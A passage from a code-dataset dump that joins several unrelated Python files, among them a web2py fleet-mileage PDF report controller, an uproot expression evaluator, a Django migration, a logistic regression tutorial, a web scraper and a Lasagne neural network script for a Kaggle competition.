defaultPageSize\nfrom reportlab.lib.units import inch, cm, mm\nfrom reportlab.lib.pagesizes import letter, A4, landscape\nfrom reportlab.platypus import BaseDocTemplate, Frame, PageTemplate, Paragraph\nfrom reportlab.lib.enums import TA_LEFT, TA_RIGHT, TA_CENTER, TA_JUSTIFY\nfrom reportlab.lib import colors\nfrom uuid import uuid4\nfrom cgi import escape\nfrom functools import partial\nimport os\nfrom reportlab.pdfgen import canvas\n\n#from reportlab.pdfbase import pdfdoc\n\n#pdfdoc.PDFCatalog.OpenAction = '<>'\n\nstyles = getSampleStyleSheet()\nstyleN = styles['Normal']\nstyleH = styles['Heading1']\n\ntmpfilename=os.path.join(request.folder,'private',str(uuid4()))\ndoc = SimpleDocTemplate(tmpfilename,pagesize=A4, topMargin=1.8*inch, leftMargin=30, rightMargin=30)#, showBoundary=1)\nlogo_path = request.folder + 'static/images/kds-logo.jpg'\nrow = []\n\nI = Image(logo_path)\nI.drawHeight = 1.25*inch*I.drawHeight / I.drawWidth\nI.drawWidth = 1.25*inch\nI.hAlign='RIGHT'\ndarwish = Paragraph('''Darwish Group | Fleet Management System''',styles[\"BodyText\"])\n\n\n###########\n\ndef _title(title):\n title = 'Title'\n return str(title)\n\ndef _header_footer(canvas, doc):\n # Save the state of our canvas so we can draw on it\n canvas.saveState()\n\n # Header 'Vehicle Summary Report'\n header = Table([['',I],[darwish,''],['Fleet Mileage Report','']], colWidths=[None,90])\n header.setStyle(TableStyle([('SPAN',(1,0),(1,1)),('SPAN',(0,2),(1,2)),('ALIGN',(0,0),(0,0),'RIGHT'),('LINEBELOW',(0,1),(1, 1),0.25, colors.gray),('BOTTOMPADDING',(0,0),(0, 1),10),('TOPPADDING',(0,2),(1,2),6)]))\n header.wrapOn(canvas, doc.width, doc.topMargin)\n header.drawOn(canvas, doc.leftMargin, doc.height + doc.topMargin - .7 * inch)\n\n\n # Footer\n import time\n from datetime import date\n today = date.today()\n footer = Table([[today.strftime(\"%A %d. %B %Y\")]], colWidths=[535])\n footer.setStyle(TableStyle([('TEXTCOLOR',(0,0),(0,0), colors.gray),('FONTSIZE',(0,0),(0,0),8),('ALIGN',(0,0),(0,0),'RIGHT'),('LINEABOVE',(0,0),(0,0),0.25, colors.gray)]))\n footer.wrap(doc.width, doc.bottomMargin)\n footer.drawOn(canvas, doc.leftMargin, doc.bottomMargin - .7 * inch)\n\n # Release the canvas\n canvas.restoreState()\n\n###########\n\n@auth.requires_login()\ndef VehicleMileageReport():\n query = db(db.km_used.id == request.args(0)).select(db.vehicle.ALL, db.km_used.ALL, left=db.km_used.on(db.km_used.reg_no_id == db.vehicle.id))\n for n in query:\n c_info = [['Fleet Specification','','','Company Info',''],\n ['Code:',n.vehicle.vehicle_code,'','Company:',n.vehicle.company_id.company],\n ['Reg.No.:',n.vehicle.reg_no,'','Division:',n.vehicle.division_id.division],\n ['Manufacturer',n.vehicle.vehicle_name_id.vehicle_name,'','Department:',n.vehicle.department.name],\n ['Model',n.vehicle.model,'','Owner:',n.vehicle.owner.name],\n ['','','','',''],\n ['Odometer','','','',''],\n ['Given Month',n.km_used.given_month.strftime('%Y, %B'),'','',''],\n ['Given Odometer', locale.format('%d',n.km_used.current_mil or 0, grouping = True),'','','']]\n\n com_tbl=Table(c_info, colWidths=[100,140,50,100,140], rowHeights=None, splitByRow=1, repeatRows=0, repeatCols=0)\n com_tbl.setStyle(TableStyle([('LINEBELOW',(1,1),(1,4),0.50, colors.Color(0, 0, 0, 0.2)),\n ('LINEBELOW',(1,7),(1,8),0.50, colors.Color(0, 0, 0, 0.2)),\n ('FONTSIZE',(0,0),(-1,-1),9),\n ('BOX',(3,0),(4,4),0.3,colors.Color(0, 0, 0, 0.3)),\n ('BACKGROUND',(0,0),(1,0),colors.Color(0, 0, 0, 0.3)),\n ('BACKGROUND',(3,0),(4,0),colors.Color(0, 0, 0, 0.3)),\n ('BACKGROUND',(0,6),(1,6),colors.Color(0, 0, 0, 0.3))]))\n row.append(com_tbl)\n doc.build(row, onFirstPage=_header_footer, onLaterPages=_header_footer)\n pdf_data = open(tmpfilename,\"rb\").read()\n os.unlink(tmpfilename)\n response.headers['Content-Type']='application/pdf'\n return pdf_data \n\n@auth.requires_login()\ndef FleetMileageReport():\n query = db.km_used.reg_no_id == request.args(0)\n query &= db.km_used.given_month >= request.args(1)\n query &= db.km_used.given_month <= request.args(2)\n \n total_mileage = db.km_used.consumed_mil.sum().coalesce_zero()\n total_mileage = db(query).select(total_mileage).first()[total_mileage]\n\n for f in db(db.vehicle.id == request.args(0)).select(db.vehicle.ALL):\n rows = [['Fleet Specification','','','Company Info',''],\n ['Code:',f.vehicle_code,'','Company:',f.company_id.company],\n ['Reg.No.:',f.reg_no,'','Division:',f.division_id.division],\n ['Manufacturer',f.vehicle_name_id.vehicle_name,'','Department:',f.department.name],\n ['Model',f.model,'','Owner:',f.owner.name]]\n\n m_data = [['#','Month','Mileage','Diff.Odometer']]\n ctr = 0\n for m in db(query).select(db.km_used.ALL, orderby = ~db.km_used.given_month):\n ctr += 1\n m_data.append([ctr, m.given_month.strftime('%Y - %B'),str(locale.format('%d', m.current_mil or 0, grouping = True)) + ' km.',str(locale.format('%d', m.consumed_mil or 0, grouping = True)) + ' km.'])\n m_data.append(['Duration Period: ' + request.args(1) + ' - ' + request.args(2),'','TOTAL MILEAGE:',str(locale.format('%.d', total_mileage or 0, grouping = True)) + ' km.']) \n\n\n fle_tbl = Table(rows, colWidths=[100,140,50,100,140], rowHeights=None, splitByRow=1, repeatRows=0, repeatCols=0)\n fle_tbl.setStyle(TableStyle([('LINEBELOW',(1,1),(1,4),0.50, colors.Color(0, 0, 0, 0.2)),\n ('LINEBELOW',(1,7),(1,8),0.50, colors.Color(0, 0, 0, 0.2)),\n ('FONTSIZE',(0,0),(-1,-1),9),\n ('BOX',(3,0),(4,4),0.3,colors.Color(0, 0, 0, 0.3)),\n ('BACKGROUND',(0,0),(1,0),colors.Color(0, 0, 0, 0.3)),\n ('BACKGROUND',(3,0),(4,0),colors.Color(0, 0, 0, 0.3))]))\n\n m_tbl = Table(m_data, colWidths=[25,168,168,170], rowHeights=None, splitByRow=1, repeatRows=0, repeatCols=0)\n m_tbl.setStyle(TableStyle([('FONTSIZE',(0,0),(-1,-1),9),\n ('GRID',(0,0),(-1,-2),0.5, colors.Color(0, 0, 0, 0.2)),('ALIGN',(2,-1),(2,-1),'RIGHT'),\n ('TOPPADDING',(0,-1),(3,-1), 10),('FONTSIZE',(2,-1),(3,-1),11),('TEXTCOLOR',(3,-1),(3,-1),colors.red),\n ('BACKGROUND',(0,0),(-1,0),colors.Color(0, 0, 0, 0.3))]))\n \n row.append(fle_tbl)\n row.append(Spacer(1,0.3*cm)) \n row.append(m_tbl)\n doc.build(row, onFirstPage=_header_footer, onLaterPages=_header_footer)\n pdf_data = open(tmpfilename,\"rb\").read()\n os.unlink(tmpfilename)\n response.headers['Content-Type']='application/pdf'\n return pdf_data \n","sub_path":"controllers/Mileage.py","file_name":"Mileage.py","file_ext":"py","file_size_in_byte":6899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"499174224","text":"import numpy as np\nimport re\nimport numexpr\nimport tokenize\nimport awkward\ntry:\n from StringIO import StringIO\nexcept ImportError:\n from io import StringIO\n\n\n__all__ = [\"get_branches\", \"evaluate\"]\n\n\nconstants = {\"nan\": np.nan,\n \"inf\": np.inf,\n \"pi\": np.pi,\n \"e\": np.e,\n }\n\n\ndef get_branches(cut, valid):\n valid = [v.decode(\"utf-8\") for v in valid]\n\n branches = []\n string = StringIO(cut).readline\n tokens = tokenize.generate_tokens(string)\n current_branch = []\n for toknum, tokval, _, _, _ in tokens:\n if toknum == tokenize.NAME:\n if \".\".join(current_branch + [tokval]) in valid:\n current_branch.append(tokval)\n continue\n if tokval == \".\":\n continue\n if current_branch:\n branches.append(\".\".join(current_branch))\n current_branch = []\n return branches\n\n\ndef deconstruct_jaggedness(array, counts):\n if not isinstance(array, awkward.array.base.AwkwardArrayWithContent):\n return array, counts\n\n array = array.compact()\n counts.insert(0, array.counts)\n return deconstruct_jaggedness(array.content, counts)\n\n\ndef reconstruct_jaggedness(array, counts):\n for count in counts:\n array = awkward.JaggedArray.fromcounts(count, array)\n return array\n\n\nclass TreeToDictAdaptor():\n \"\"\"\n Make an uproot tree look like a dict for numexpr\n \"\"\"\n def __init__(self, tree, alias_dict):\n self.tree = tree\n self.counts = None\n self.aliases = alias_dict\n\n def __getitem__(self, item):\n if item in constants:\n return constants[item]\n full_item = self.aliases.get(item, item)\n array = self.tree.array(full_item)\n array = self.strip_jaggedness(array)\n return array\n\n def __contains__(self, item):\n return item in self.tree or item in self.aliases\n\n def __iter__(self):\n for i in self.tree:\n yield i\n\n def strip_jaggedness(self, array):\n array, new_counts = deconstruct_jaggedness(array, counts=[])\n if self.counts is not None:\n if not all(np.array_equal(c, n) for c, n in zip(self.counts, new_counts)):\n raise RuntimeError(\"Operation using arrays with different jaggedness\")\n else:\n self.counts = new_counts\n return array\n\n def apply_jaggedness(self, array):\n if self.counts is None:\n return array\n result = reconstruct_jaggedness(array, self.counts)\n return result\n\n\nattribute_re = re.compile(r\"([a-zA-Z]\\w*)\\s*(\\.\\s*(\\w+))+\")\n\n\ndef preprocess_expression(expression):\n alias_dict = {}\n replace_dict = {}\n for match in attribute_re.finditer(expression):\n original = match.group(0)\n alias = original.replace('.', '__DOT__')\n alias_dict[alias] = original\n replace_dict[original] = alias\n clean_expr = attribute_re.sub(lambda x: replace_dict[x.group(0)], expression)\n return clean_expr, alias_dict\n\n\ndef evaluate(tree, expression):\n cleaned_expression, alias_dict = preprocess_expression(expression)\n adaptor = TreeToDictAdaptor(tree, alias_dict)\n result = numexpr.evaluate(cleaned_expression, local_dict=adaptor)\n result = adaptor.apply_jaggedness(result)\n return result\n","sub_path":"fast_carpenter/expressions.py","file_name":"expressions.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"516423646","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport collect.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('collect', '0008_auto_20150922_1653'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='info',\n name='files',\n field=models.FileField(upload_to=collect.models.wrapper, null=True, verbose_name=b'\\xe9\\x99\\x84\\xe4\\xbb\\xb6', blank=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='info',\n name='theme',\n field=models.IntegerField(default=2, verbose_name=b'\\xe9\\xa2\\x98\\xe6\\x9d\\x90', choices=[(3, b'\\xe5\\xae\\xb6\\xe4\\xb9\\xa1\\xe9\\xa3\\x8e\\xe9\\x87\\x87'), (2, b'\\xe8\\xa1\\x8c\\xe4\\xb8\\x9a\\xe7\\x9f\\xa5\\xe8\\xaf\\x86'), (1, b'\\xe7\\x94\\x9f\\xe6\\xb4\\xbb\\xe7\\x9f\\xa5\\xe8\\xaf\\x86')]),\n preserve_default=True,\n ),\n ]\n","sub_path":"collect/migrations/0009_auto_20150922_2303.py","file_name":"0009_auto_20150922_2303.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"78652826","text":"import pandas as pd\r\nimport plotly.express as px\r\nimport pandas as pd\r\nimport csv\r\nimport plotly.graph_objects as go\r\n\r\ndf = pd.read_csv(\"./116/logistics_data.csv\")\r\n#Here, we have loaded the data. Let's see how the data looks like in a scatter plot -\r\nsalary = df[\"EstimatedSalary\"].tolist()\r\npurchased = df[\"Purchased\"].tolist()\r\n\r\nprint(len(salary))\r\n\r\nfig = px.scatter(x=salary, y=purchased)\r\nfig.show()\r\n\r\n#-----------------------------------------------------------------\r\n#Let's plot the data on the scatter plot to see how different variables effect the purchase.\r\nimport plotly.graph_objects as go\r\n\r\nsalaries = df[\"EstimatedSalary\"].tolist()\r\nages = df[\"Age\"].tolist()\r\n\r\npurchased = df[\"Purchased\"].tolist()\r\ncolors=[]\r\nfor data in purchased:\r\n if data == 1:\r\n colors.append(\"green\")\r\n else:\r\n colors.append(\"red\")\r\n\r\n\r\n\r\nfig = go.Figure(data=go.Scatter(\r\n x=salaries,\r\n y=ages,\r\n mode='markers',\r\n marker=dict(color=colors)\r\n))\r\nfig.show()\r\n#observation:We can see that the plot is split into two parts , the red dots represent the people who haven't bought the phone and the green dots represent the people who have bought the phone.\r\n\r\n\r\n#Now using the machine learning libraries we'll build a model to predict if the person will buy a phone or not. To do that we'll divide the data into two parts . We'll use the first part to train this model to predict if person will buy the phone or not. And use the second part to test our model.\r\n\r\n#Dividing the data and using a part of it to train the model on it and then using the other part of the data to test the model is a general practice used by data scientists.\r\n\r\n#-------------------------------------------------------------------------\r\n#Let's do that! We will consider the age of the person and the salary to determine if they will purchase the product or not.\r\n\r\n#Taking together Age and Salary of the person\r\nfactors = df[[\"EstimatedSalary\", \"Age\"]]\r\n\r\n#Purchases made\r\npurchases = df[\"Purchased\"]\r\n\r\n#Out of the data that we have, we will use 75% data for training and then we will test our model on the remaining 25% percent of the data to test and determine the accuracy of our model.\r\n\r\n\r\n#Let's start by splitting the data.\r\nfrom sklearn.model_selection import train_test_split \r\n\r\nsalary_train, salary_test, purchase_train, purchase_test = train_test_split(factors, purchases, test_size = 0.25, random_state = 0)\r\n\r\n#Now, we have divided our data successfully in 75% 25% ratios.\r\n\r\n\r\n#If we look at the data, we are considering the age and the salary together. While the age of the person is in years, the salary might be in INR or Dollars. We have to make sure that they are using the same unit before we proceed further.\r\n\r\n\r\n#For this, we are going to use sklearn's StandardScaler. This will compare values with each other, and determine a score for the values. Both the age and the salary of the person will be given a score in comparison to others. Let's see how our data changes after doing this.\r\n\r\nprint(salary_train[0:10])\r\n\r\nfrom sklearn.preprocessing import StandardScaler \r\nsc_x = StandardScaler() \r\n\r\nsalary_train = sc_x.fit_transform(salary_train) \r\nsalary_test = sc_x.transform(salary_test) \r\n \r\nprint (salary_train[0:10])\r\n\r\n#Here, we can see that both the age and the salary of the person are given points. Now, we are sure that each and every feature will contribute equally to the decision making of our machine learning model, where we want to predict if the user will buy the product or not.\r\n\r\n#--------------------------------------------------------------\r\n#Now, let's train a logistic regression model on the training data that we seperated out earlier. For this, we will use ```sklearn```'s pre-built class ```LogisticRegression```.\r\n\r\nfrom sklearn.linear_model import LogisticRegression \r\n\r\nclassifier = LogisticRegression(random_state = 0) \r\nclassifier.fit(salary_train, purchase_train)\r\n\r\n\r\nLogisticRegression(C=1.0, class_weight=None, dual=False, fit_intercept=True,\r\n intercept_scaling=1, l1_ratio=None, max_iter=100,\r\n multi_class='auto', n_jobs=None, penalty='l2',\r\n random_state=0, solver='lbfgs', tol=0.0001, verbose=0,\r\n warm_start=False)\r\n#Here, the ```random_state = 0``` means that we are providing the model with the Training data. If the value would have been 1, it would mean that we are providing with the testing data.\r\n\r\n\r\n#Now that our model for Logistic Regression is trained, it's time for us to test this model. Is it predicting values well? Let's find out.\r\n\r\npurchase_pred = classifier.predict(salary_test)\r\n\r\nfrom sklearn.metrics import accuracy_score \r\nprint (\"Accuracy : \", accuracy_score(purchase_test, purchase_pred)) \r\n\r\n#An accuracy of 1 would have been perfectly accurate, 0.89 is an excellent accuracy.\r\n\r\n\r\n#Let's try to predict if a user will buy the product or not, using this model.\r\n\r\nuser_age = int(input(\"Enter age of the customer -> \"))\r\nuser_salary = int(input(\"Enter the salary of the customer -> \"))\r\n\r\nuser_test = sc_x.transform([[user_salary, user_age]])\r\n\r\nuser_purchase_pred = classifier.predict(user_test)\r\n\r\nif user_purchase_pred[0] == 1:\r\n print(\"This customer may purchase the product!\")\r\nelse:\r\n print(\"This customer may not purchase the product!\")\r\n\r\n\r\n #output\r\n #Enter age of the customer -> 23\r\n#Enter the salary of the customer -> 120000\r\n#his customer may not purchase the product!\r\n\r\n","sub_path":"logistics_data.py","file_name":"logistics_data.py","file_ext":"py","file_size_in_byte":5447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"496510393","text":"print('Welcome to compiler :)')\n\nfile = open('myconfig.txt', 'r')\n\n\nlabel = []\n\nfor i in range(88):\n s = file.readline()\n\n if s == '': # check file end\n break\n\n d = s.rstrip().split('\\t');\n print(d[1])\n label.append(d[0])\n\n if d[1] == 'add' or d[1] == 'nand':\n # callR-type\n print('=R-type')\n elif d[1] == 'lw' or d[1] == 'sw' or d[1] == 'beq':\n # callI-type\n print('=I-type')\n elif d[1] == 'halt' or d[1] == 'noop':\n # callO-type\n print('=O-type')\n elif d[1] == '.fill':\n # call.fill\n print('=.fill')\n elif d[1] == 'jalr':\n print('=J-type')\n\nprint(label)\n\nfile.close()\n\n\n","sub_path":"Input.py","file_name":"Input.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"193148364","text":"\"\"\"\r\nCreated on 2017/04/14\r\n\r\n@author: y-ok\r\n\"\"\"\r\n\r\nimport os\r\nimport urllib\r\nimport json\r\nimport time\r\n\r\nfrom src.logging import logger\r\n\r\n\r\nclass DownloadUtil(object):\r\n def __init__(self):\r\n self.thumb_img_url_list = []\r\n self.id_list = []\r\n\r\n def readfile(self, jsonfile_path):\r\n f = open(jsonfile_path, 'r')\r\n json_data = json.load(f)\r\n for data in json_data:\r\n self.id_list.append(data['id'])\r\n self.thumb_img_url_list.append(data['thumb_img_url'])\r\n f.close()\r\n\r\n def download(self, imgfile_output_path, current_img_count=None):\r\n imgfile_path = os.getcwd() + imgfile_output_path\r\n\r\n offset_count = current_img_count\r\n\r\n if current_img_count:\r\n max_len = len(str(offset_count))\r\n else:\r\n max_len = len(str(self.id_list.__len__()))\r\n\r\n for i in range(len(self.thumb_img_url_list)):\r\n\r\n start_time = time.time()\r\n\r\n name, ext = os.path.splitext(os.path.basename(self.thumb_img_url_list[i]))\r\n if current_img_count:\r\n imgfile = imgfile_path + name + \"_\" + str(self.id_list[i] + offset_count).zfill(max_len) + ext\r\n else:\r\n imgfile = imgfile_path + name + \"_\" + str(self.id_list[i]).zfill(max_len) + ext\r\n\r\n logger.info(os.path.basename(imgfile))\r\n\r\n opener = urllib.request.build_opener()\r\n opener.addheaders = [('User-Agent', 'Mozilla/5.0')]\r\n urllib.request.install_opener(opener)\r\n urllib.request.urlretrieve(self.thumb_img_url_list[i], imgfile)\r\n\r\n end_time = time.time()\r\n sleep_time = 1 - (end_time - start_time)\r\n if sleep_time > 0:\r\n time.sleep(2)\r\n continue\r\n","sub_path":"src/ImageGet.py","file_name":"ImageGet.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"337630787","text":"from bs4 import BeautifulSoup\nimport requests\n\n\nurl = 'https://www.tripadvisor.cn/Attractions-g60763-Activities-New_York_City_New_York.html'\nheaders = {\n 'User-Agent':\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1\"\n}\n\nwb_data = requests.get(url,headers=headers)\nsoup = BeautifulSoup(wb_data.text,'lxml')\n\ntitles = soup.select('div.container.containerLLR > div.title.titleLLR > div.location')\nimgs = soup.select('div.thumb.thumbLLR.soThumb > img[width=\"54\"]')\ncates = soup.select('div.container.containerLLR > div.attraction_types > span.moreText')\n\n\nfor title,img,cate in zip(titles,imgs,cates):\n data = {\n \"title\":title.get_text(),\n \"img\":img.get(\"src\"),\n \"cate\":list(cate.stripped_strings),\n }\n print(data)","sub_path":"moblieWebData.py","file_name":"moblieWebData.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"193611479","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 16 21:03:06 2015\n\n@author: branden\n\nNote to self:\nIf you get error:\nERROR (theano.sandbox.cuda): Failed to compile cuda_ndarray.cu: libcublas.so.7.5: cannot open shared object file: No such file or directory\n\nwhen starting theano try \"sudo ldconfig /usr/local/cuda-7.5/lib64\" in terminal\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport gc\n\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\nfrom sklearn.base import clone\n\nfrom lasagne.layers import DenseLayer\nfrom lasagne.layers import InputLayer\nfrom lasagne.layers import DropoutLayer\nfrom lasagne.layers import GaussianNoiseLayer\nfrom lasagne.nonlinearities import sigmoid\nfrom lasagne.nonlinearities import rectify\nfrom lasagne.objectives import binary_crossentropy\nfrom lasagne.init import Constant, GlorotUniform\nfrom lasagne.updates import nesterov_momentum, adam\nfrom nolearn.lasagne import NeuralNet\nfrom nolearn.lasagne import TrainSplit\n\n### START WITH DATA TRANSFORMATION CREATED IN R\nts1Trans = pd.read_csv(\"/media/branden/SSHD1/kaggle/bnp/data_trans/ts2Trans_v29.csv\") \ncvFolds = pd.read_csv(\"/media/branden/SSHD1/kaggle/bnp/data_trans/cvFolds.csv\")\n\nt1nn = ts1Trans.loc[ts1Trans['filter']==0,]\ns1nn = ts1Trans.loc[ts1Trans['filter']==2,]\n\nlabels = ts1Trans.loc[ts1Trans['filter']==0,'target']\nt1nn_id = ts1Trans.loc[ts1Trans['filter']==0,'ID']\nencoder = LabelEncoder()\ny = encoder.fit_transform(labels).astype(np.float32)\n\n\n\n\ndel ts1Trans\ngc.collect()\n\n\n\nscaler = StandardScaler()\n#index = range(3,5469) + range(6832,6839)\nt1nn_feats = t1nn.iloc[:,3:]\n#t1nn_feats = np.log(np.maximum(t1nn_feats,0) + 1)\nt1nn_feats = scaler.fit_transform(t1nn_feats).astype(np.float32)\ns1nn_feats = s1nn.iloc[:,3:]\n#s1nn_feats = np.log(np.maximum(s1nn_feats,0) + 1)\ns1nn_feats = scaler.transform(s1nn_feats).astype(np.float32)\n#\n#index1 = range(3,115) + range(6832,6839)\npca = PCA(n_components= .999, whiten=True)\nt1nn_pca = pca.fit_transform(t1nn_feats).astype(np.float32)\ns1nn_pca = pca.transform(s1nn_feats).astype(np.float32)\n#\n#pca1 = PCA(n_components= 700, whiten=True)\n#t1nn_pca1 = pca1.fit_transform(t1nn_feats[:,115:5469]).astype(np.float32)\n#s1nn_pca1 = pca1.transform(s1nn_feats[:,115:5469]).astype(np.float32)\n#\n#pca2 = PCA(n_components= 200, whiten=True)\n#t1nn_pca2 = pca2.fit_transform(t1nn_feats[:,5469:6832]).astype(np.float32)\n#s1nn_pca2 = pca2.transform(s1nn_feats[:,5469:6832]).astype(np.float32)\n\nt1nn_conc = np.concatenate([t1nn_pca, t1nn_feats], axis=1)\n#t1nn_conc = np.concatenate([t1nn_pca, t1nn_pca1], axis=1)\ns1nn_conc = np.concatenate([s1nn_pca, s1nn_feats], axis=1)\n\n\n#t1nn_conc = np.concatenate([t1nn_feats], axis=1)\n#t1nn_conc = np.concatenate([t1nn_pca, t1nn_pca1], axis=1)\n#s1nn_conc = np.concatenate([s1nn_feats], axis=1)\n#t1nn_conc_df = pd.DataFrame(t1nn_conc)\n#s1nn_conc_df = pd.DataFrame(s1nn_conc)\n#\n#t1nn_conc_df.to_csv(\"/home/branden/Documents/kaggle/walmart/data_trans/t1nn_conc_simil.csv\", index=False)\n#s1nn_conc_df.to_csv(\"/home/branden/Documents/kaggle/walmart/data_trans/s1nn_conc_simil.csv\", index=False)\n#\n##\n##\n##t1nn_comb = np.concatenate([t1nn_conc, t1_dept_simil], axis=1).astype(np.float32)\n##s1nn_comb = np.concatenate([s1nn_conc, s1_dept_simil], axis=1).astype(np.float32)\n##\n\nnum_classes = len(encoder.classes_)\nnum_features = t1nn_conc.shape[1]\n\n\nimport theano\nt1nn_conc_shared = theano.shared(t1nn_conc, borrow=True)\n\ndef float32(k):\n return np.cast['float32'](k)\n\nclass AdjustVariable(object):\n def __init__(self, name, start=0.03, stop=0.001):\n self.name = name\n self.start, self.stop = start, stop\n self.ls = None\n\n def __call__(self, nn, train_history):\n if self.ls is None:\n self.ls = np.linspace(self.start, self.stop, nn.max_epochs)\n\n epoch = train_history[-1]['epoch']\n new_value = float32(self.ls[epoch - 1])\n getattr(nn, self.name).set_value(new_value)\n\n#class AdjustVariableRate(object):\n# def __init__(self, name, start=0.03, stop=.001):\n# self.name = name\n# self.start, self.stop = start, stop\n# self.ls = None\n#\n# def __call__(self, nn, train_history):\n# if self.ls is None:\n# self.ls = np.linspace(self.start, self.stop, nn.max_epochs)\n#\n# epoch = train_history[-1]['epoch']\n# new_value = float32(self.ls[epoch - 1])\n# getattr(nn, self.name).set_value(new_value)\n\nfrom nolearn.lasagne import BatchIterator\n\nclass EarlyStopping(object):\n def __init__(self, patience=100):\n self.patience = patience\n self.best_valid = np.inf\n self.best_valid_epoch = 0\n self.best_weights = None\n\n def __call__(self, nn, train_history):\n current_valid = train_history[-1]['valid_loss']\n current_epoch = train_history[-1]['epoch']\n if current_valid < self.best_valid:\n self.best_valid = current_valid\n self.best_valid_epoch = current_epoch\n self.best_weights = nn.get_all_params_values()\n elif self.best_valid_epoch + self.patience < current_epoch:\n print(\"Early stopping.\")\n print(\"Best valid loss was {:.6f} at epoch {}.\".format(\n self.best_valid, self.best_valid_epoch))\n nn.load_params_from(self.best_weights)\n raise StopIteration()\n\nlayers0 = [('input', InputLayer),\n ('inputDropout0', DropoutLayer), \n ('dense0', DenseLayer),\n ('dropout0', DropoutLayer),\n # ('noise0', GaussianNoiseLayer),\n ('dense1', DenseLayer),\n ('dropout1', DropoutLayer),\n# ('dense2', DenseLayer),\n# ('dropout2', DropoutLayer),\n ('output', DenseLayer)]\n\n\n\n#0.686160\n# inDrop=0.2, den0=1000, den0drop=.6, den1=1000, den1drop=0.6\nfrom theano import tensor as T\n\nnp.random.seed(5) \nnet0 = NeuralNet(layers=layers0,\n input_shape=(None, num_features),\n inputDropout0_p=0.7,\n dense0_num_units=256,\n dense0_W=GlorotUniform(),\n dense0_b = Constant(1.0),\n dense0_nonlinearity=rectify,\n dropout0_p=0.3,\n# noise0_sigma=2,\n dense1_num_units=256,\n dense1_W=GlorotUniform(),\n dense1_b = Constant(1.0),\n dense1_nonlinearity=rectify,\n dropout1_p=0.3,\n# dense2_num_units=50,\n# dense2_W=GlorotUniform(),\n# dense2_nonlinearity=rectify,\n# dense2_b = Constant(1.0),\n# dropout2_p=0.2,\n output_num_units=1,\n output_nonlinearity=sigmoid,\n objective_loss_function=binary_crossentropy,\n \n update=adam,\n update_learning_rate=theano.shared(float32(0.0003), borrow=True),\n# update_momentum=theano.shared(float32(0.001), borrow=True),\n update_beta1=0.9,\n update_beta2=0.99,\n update_epsilon=1e-06,\n on_epoch_finished=[\n# AdjustVariable('update_learning_rate', start=0.3, stop=0.05),\n# AdjustVariable('update_momentum', start=0.001, stop=0.00299),\n# EarlyStopping(patience=200),\n ], \n regression=True,\n train_split=TrainSplit(eval_size=0.20),\n y_tensor_type = T.matrix,\n verbose=1,\n batch_iterator_train=BatchIterator(3200),\n max_epochs=300)\n\nnp.random.seed(7)\nnet0_clone = clone(net0)\nnet0_clone.fit(t1nn_conc_shared.get_value(), y)\n#net0_clone.fit(X_encoded_shared.get_value(), y)\n\ncv_by_hand = [(np.where(cvFolds != fold)[0], np.where(cvFolds == fold)[0])\n for fold in np.unique(cvFolds)]\n\n\nfoldPred = np.zeros((t1nn_conc_shared.get_value().shape[0], 1))\nbags = 10\nfor iter in xrange(0,bags):\n for fold in xrange(0,np.max(cvFolds)):\n np.random.seed(iter + 56)\n net0_clone = clone(net0)\n net0_clone.fit(t1nn_conc_shared.get_value()[cv_by_hand[fold][0],:], y[cv_by_hand[fold][0]])\n foldPred[cv_by_hand[fold][1],:] += net0_clone.predict_proba(t1nn_conc_shared.get_value()[cv_by_hand[fold][1],:])\nfoldPredAdj = foldPred/bags \n\n# Load sample submission\nsamp = pd.read_csv(\"/media/branden/SSHD1/kaggle/bnp/sample_submission.csv\") \n#Convert CV preds array to DataFrame with column names\nfoldPredAdj = pd.DataFrame(foldPredAdj, columns=samp.columns[1:])\n# Add VisitNumber column\nfoldPredAdj.insert(0, 'ID', t1nn_id)\n# Save \nfoldPredAdj.to_csv(\"/media/branden/SSHD1/kaggle/bnp/stack_models/cvPreds/cvPreds_nn1.csv\", index=False)\n\n\nnp.random.seed(7) \nnet1 = NeuralNet(layers=layers0,\n input_shape=(None, num_features),\n inputDropout0_p=0.5,\n dense0_num_units=80,\n dense0_W=GlorotUniform(),\n dense0_b = Constant(1.0),\n dense0_nonlinearity=rectify,\n dropout0_p=0.2,\n# noise0_sigma=2,\n dense1_num_units=80,\n dense1_W=GlorotUniform(),\n dense1_b = Constant(1.0),\n dense1_nonlinearity=rectify,\n dropout1_p=0.2,\n# dense2_num_units=50,\n# dense2_W=GlorotUniform(),\n# dense2_nonlinearity=rectify,\n# dense2_b = Constant(1.0),\n# dropout2_p=0.2,\n output_num_units=1,\n output_nonlinearity=sigmoid,\n objective_loss_function=binary_crossentropy,\n \n update=adam,\n update_learning_rate=theano.shared(float32(0.0003), borrow=True),\n# update_momentum=theano.shared(float32(0.001), borrow=True),\n update_beta1=0.9,\n update_beta2=0.99,\n update_epsilon=1e-06,\n on_epoch_finished=[\n# AdjustVariable('update_learning_rate', start=0.3, stop=0.05),\n# AdjustVariable('update_momentum', start=0.001, stop=0.00299),\n# EarlyStopping(patience=200),\n 